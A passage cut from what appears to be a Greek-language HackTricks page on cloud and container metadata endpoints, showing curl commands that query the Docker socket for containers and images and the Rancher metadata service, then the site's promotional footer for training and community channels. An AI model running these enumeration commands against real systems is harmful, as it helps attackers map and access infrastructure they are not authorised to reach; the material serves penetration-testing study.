curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Τα μεταδεδομένα του Rancher μπορούν να αποκτηθούν χρησιμοποιώντας:
curl http://rancher-metadata/<version>/<path>
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.